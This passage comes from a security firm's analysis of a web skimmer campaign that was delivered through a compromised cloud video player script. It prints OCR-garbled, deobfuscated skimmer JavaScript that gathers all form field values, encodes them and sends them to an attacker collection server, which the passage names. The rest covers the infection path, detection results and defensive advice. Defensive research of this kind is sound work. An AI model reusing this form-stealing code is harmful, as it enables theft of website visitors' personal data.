
15 //1("0x18") is string "SaveAllFields"
16 h["SaveAllFields"]: function() {

17 var inputs = document.getElementsByTagName("input");

18 var selects = document.getElementsByTagName("select");

19 var textareas = document.getElementsByTagName("textarea");
20 for(var i = 0; i < inputs.length; i++) h.SaveParam(inputsi]);

21 for(var i = 0; i < selects.length; i++) h.SaveParam(selects]i]);

22 for(vari = 0; i < textareas.length; i++) h.SaveParam(textareas]i);
23 }

24

25  /7("0x1c") is string "SendData"
26  h["SendData"]: function() {
27 if (le.devtools.isOpen && h.IsValid) {

28 h.Data["Domain"] = location.hostname;

29 var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data)));
30 var r = t.hashCode();

31 for (var i = 0; i < h.Sent.length; i++)

32 if (h.Sent[i] == r) return;

33 h.LoadImage(t)

34 }

35 1}

36

37 //1("0x1d") is string "TrySend"
38 h["TrySend"] = function() {

39 h.SaveAllFields();

40 h.SendData()

41 %

43 h["Loadlmage"] = function(e) {

44 h.Sent.push(e.hashCode());

45 var r = t.createElement(I("0x1e")); // 1("0x1e") is string "IMG"
46 r.src = h.GetlmageUrl(e)

47 %

49 /11("0x1f") is string "GetimageUr!"
50 h["GetlmageUrl"] = function(e) {
51 return h.Gate + 1("0x20") + e
52 }

54 //1("0x21") is string "onreadystatechange "

55 {["onreadystatechange"] = function() {

56 //if([document.readyState === 'complete')

57 if (t[1("0x22")] === 1("0x23")) {

58 e[l("0x24")](h[I("0x1d")], 500) // call setInterval(TrySend, 500);
}

Malicious Code in Video

How does the attacker inject the malicious code into the player of the cloud video platform? Let's take a look. When the cloud platform user creates a player, the
user is allowed to add their own JavaScript customizations by uploading a JavaScript file to be included in their player. In this specific instance, the user uploaded
a script that could be modified upstream to include malicious content.

We infer that the attacker altered the static script at its hosted location by attaching skimmer code. Upon the next player update, the video platform re-ingested
the compromised file and served it along with the impacted player.

From the code analysis, we know the skimmer snippet is trying to gather victims’ sensitive information such as names, emails, phone numbers, and send them to
a collection server, https://cdn-imgcloud[.Jcom/img, which is also marked as malicious in VirusTotal:
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Z https:/icdn-imgcloud.comfimg Q, -~ EEE
7 @ 7 security vendors flagged this URL as malicious
v https:/fcdn-imgcloud.comfimg 200 text/html; charset=UTF-8 2020-09-09 08:
2 cdn-imgcloud.com status Content Type 1year ago
x  Community |,
Score
DETECTION DETAILS COMMUNITY
Avira (no cloud) @ Malware DrWeb @ Malicious
Forcepoint ThreatSeeker @ Malicious Fortinet @ Malware
Kaspersky @ Malware Sophos @ Malware
Sucuri SiteCheck @ Malicious ADMINUSLabs @ Clean

Figure 3. VirusTotal result for the collection server.

Conclusion

In this skimmer campaign, we traced the malicious activity from the skimmer scripts to the source of the cloud video platform. We also did a deep dive into the
code snippets collected from the skimmer campaign.

The skimmer itself is highly polymorphic, elusive and continuously evolving. When combined with cloud distribution platforms, the impact of a skimmer of this type
could be very large. For these reasons, attacks like this raise the stakes for security researchers to untangle their sophisticated strategies and trace them to the
root cause. We have to invent more sophisticated strategies to detect skimmer campaigns of this type, since merely blocking domain names or URLs used by
skimmers is ineffective.

For website administrators, it is advisable to safeguard any accounts, avoid theft by phishing or social engineering, and manage permissions well. Also, we highly
recommend conducting web content integrity checks on a regular basis. This can help detect and prevent injection of malicious code into the website content.

Palo Alto Networks customers are protected from skimmer (aka formjacking) attacks via the WildFire and URL Filtering subscription services for the Next-
Generation Firewall.

Indicators of Compromise

Indicators of compromise for the web skimmer attacks discussed here can be found on GitHub.
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https://www.paloaltonetworks.com/products/secure-the-network/wildfire
https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security
https://github.com/pan-unit42/iocs/blob/master/Skimmer_IOC.txt

